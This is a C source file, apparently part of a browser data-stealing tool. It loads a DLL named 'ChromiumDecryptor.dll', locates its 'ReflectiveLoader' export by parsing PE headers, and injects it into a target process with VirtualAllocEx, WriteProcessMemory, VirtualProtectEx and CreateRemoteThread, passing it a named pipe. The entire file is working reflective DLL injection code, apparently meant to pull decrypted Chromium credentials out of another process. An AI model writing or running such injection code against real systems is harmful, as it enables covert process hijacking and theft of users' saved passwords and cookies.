#include "injection_manager.h"
#include <string.h>

static bool load_dll_payload(DllPayload* payload) {
    if (!payload) return false;

    HANDLE file = CreateFileW(L"ChromiumDecryptor.dll", GENERIC_READ,
        FILE_SHARE_READ, NULL, OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL, NULL);

    if (file == INVALID_HANDLE_VALUE) return false;

    DWORD file_size = GetFileSize(file, NULL);
    if (file_size == 0 || file_size == INVALID_FILE_SIZE) {
        CloseHandle(file);
        return false;
    }

    payload->data = malloc(file_size);
    if (!payload->data) {
        CloseHandle(file);
        return false;
    }

    DWORD bytes_read = 0;
    if (!ReadFile(file, payload->data, file_size, &bytes_read, NULL) ||
        bytes_read != file_size) {
        free(payload->data);
        CloseHandle(file);
        return false;
    }

    payload->size = file_size;
    CloseHandle(file);
    return true;
}

static void free_dll_payload(DllPayload* payload) {
    if (payload && payload->data) {
        free(payload->data);
        payload->data = NULL;
        payload->size = 0;
    }
}

static DWORD rva_to_file_offset(PIMAGE_NT_HEADERS nt_headers, DWORD rva, uint8_t* base) {
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt_headers);

    for (WORD i = 0; i < nt_headers->FileHeader.NumberOfSections; i++, section++) {
        if (rva >= section->VirtualAddress &&
            rva < section->VirtualAddress + section->Misc.VirtualSize) {
            return section->PointerToRawData + (rva - section->VirtualAddress);
        }
    }

    return 0;
}

static DWORD get_reflective_loader_offset(DllPayload* payload) {
    if (!payload || !payload->data) return 0;

    PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)payload->data;
    if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) return 0;

    PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)(payload->data + dos_header->e_lfanew);
    if (nt_headers->Signature != IMAGE_NT_SIGNATURE) return 0;

    DWORD export_rva = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (export_rva == 0) return 0;

    DWORD export_offset = rva_to_file_offset(nt_headers, export_rva, payload->data);
    if (export_offset == 0) return 0;

    PIMAGE_EXPORT_DIRECTORY export_dir = (PIMAGE_EXPORT_DIRECTORY)(payload->data + export_offset);

    DWORD names_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfNames, payload->data);
    DWORD ordinals_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfNameOrdinals, payload->data);
    DWORD functions_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfFunctions, payload->data);

    if (!names_offset || !ordinals_offset || !functions_offset) return 0;

    DWORD* names = (DWORD*)(payload->data + names_offset);
    WORD* ordinals = (WORD*)(payload->data + ordinals_offset);
    DWORD* functions = (DWORD*)(payload->data + functions_offset);

    for (DWORD i = 0; i < export_dir->NumberOfNames; i++) {
        DWORD name_offset = rva_to_file_offset(nt_headers, names[i], payload->data);
        if (!name_offset) continue;

        char* func_name = (char*)(payload->data + name_offset);
        if (strcmp(func_name, "ReflectiveLoader") == 0) {
            DWORD func_rva = functions[ordinals[i]];
            DWORD func_offset = rva_to_file_offset(nt_headers, func_rva, payload->data);
            return func_offset;
        }
    }

    return 0;
}

bool injection_execute(TargetProcess* target, const wchar_t* pipe_name) {
    if (!target || !target->process || !pipe_name) return false;

    DllPayload payload = { 0 };
    if (!load_dll_payload(&payload)) return false;

    DWORD rdi_offset = get_reflective_loader_offset(&payload);
    if (rdi_offset == 0) {
        free_dll_payload(&payload);
        return false;
    }

    SIZE_T pipe_name_size = (wcslen(pipe_name) + 1) * sizeof(wchar_t);
    SIZE_T total_size = payload.size + pipe_name_size;

    LPVOID remote_base = VirtualAllocEx(target->process, NULL, total_size,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!remote_base) {
        free_dll_payload(&payload);
        return false;
    }

    SIZE_T bytes_written = 0;
    if (!WriteProcessMemory(target->process, remote_base, payload.data,
        payload.size, &bytes_written) ||
        bytes_written != payload.size) {
        VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
        free_dll_payload(&payload);
        return false;
    }

    LPVOID remote_pipe_name = (LPBYTE)remote_base + payload.size;
    if (!WriteProcessMemory(target->process, remote_pipe_name, pipe_name,
        pipe_name_size, &bytes_written) ||
        bytes_written != pipe_name_size) {
        VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
        free_dll_payload(&payload);
        return false;
    }

    DWORD old_protect = 0;
    if (!VirtualProtectEx(target->process, remote_base, total_size,
        PAGE_EXECUTE_READ, &old_protect)) {
        VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
        free_dll_payload(&payload);
        return false;
    }

    LPTHREAD_START_ROUTINE entry_point = (LPTHREAD_START_ROUTINE)((ULONG_PTR)remote_base + rdi_offset);

    HANDLE remote_thread = CreateRemoteThread(target->process, NULL, 0, entry_point, remote_pipe_name, 0, NULL);

    free_dll_payload(&payload);

    if (!remote_thread) {
        VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
        return false;
    }

    CloseHandle(remote_thread);
    return true;
}